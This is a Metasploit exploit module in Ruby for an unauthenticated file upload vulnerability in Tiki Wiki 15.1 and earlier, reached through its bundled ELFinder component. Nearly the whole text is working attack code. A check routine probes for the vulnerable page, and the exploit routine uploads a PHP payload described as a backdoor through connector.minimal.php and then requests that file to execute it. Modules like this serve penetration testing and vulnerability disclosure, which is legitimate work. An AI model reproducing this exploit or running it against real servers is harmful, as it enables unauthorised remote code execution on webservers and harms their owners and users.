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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Tiki Wiki Unauthenticated File Upload Vulnerability', 'Description'=> %q{ This module exploits a file upload vulnerability in Tiki Wiki <= 15.1 which could be abused to allow unauthenticated users to execute arbitrary code under the context of the webserver user. The issue comes with one of the 3rd party components. Name of that components is ELFinder -version 2.0-. This components comes with default example page which demonstrates file operations such as upload, remove, rename, create directory etc. Default configuration does not force validations such as file extension, content-type etc. Thus, unauthenticated user can upload PHP file. The exploit has been tested on Debian 8.x 64bit and Tiki Wiki 15.1. }, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # Vulnerability discovery and Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'URL', 'https://www.mehmetince.net/exploit/tiki-wiki-unauthenticated-file-upload-vulnerability' ], [ 'URL', 'https://tiki.org/article434-Security-update-Tiki-15-2-Tiki-14-4-and-Tiki-12-9-released' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload'=> { 'DisableNops' => true }, 'Targets'=> [ ['Automatic', {}] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jul 11 2016' )) register_options( [ OptString.new('TARGETURI', [ true, "Installed path of Tiki Wiki", "/tiki/"]) ], self.class) end def check url = normalize_uri(target_uri.path, "vendor_extra/elfinder/elfinder.html") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(url) ) if res && res.code == 200 return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit filename = rand_text_alpha(8 + rand(4)) + '.php' data = Rex::MIME::Message.new data.add_part('upload', nil, nil, 'form-data; name="cmd"') data.add_part('l1_Lw', nil, nil, 'form-data; name="target"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload[]\"; filename=\"#{filename}\"") print_status("Uploading backdoor file.") res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, "vendor_extra/elfinder/php/connector.minimal.php"), 'ctype'=> "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s }) if res && res.code == 200 print_good("Backdoor successfully created.") else fail_with(Failure::Unknown, "#{peer} - Error on uploading file") end print_status("Trigging the exploit...") send_request_cgi({ 'method'=> 'GET', 'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/files/" + filename) }, 5) end end |
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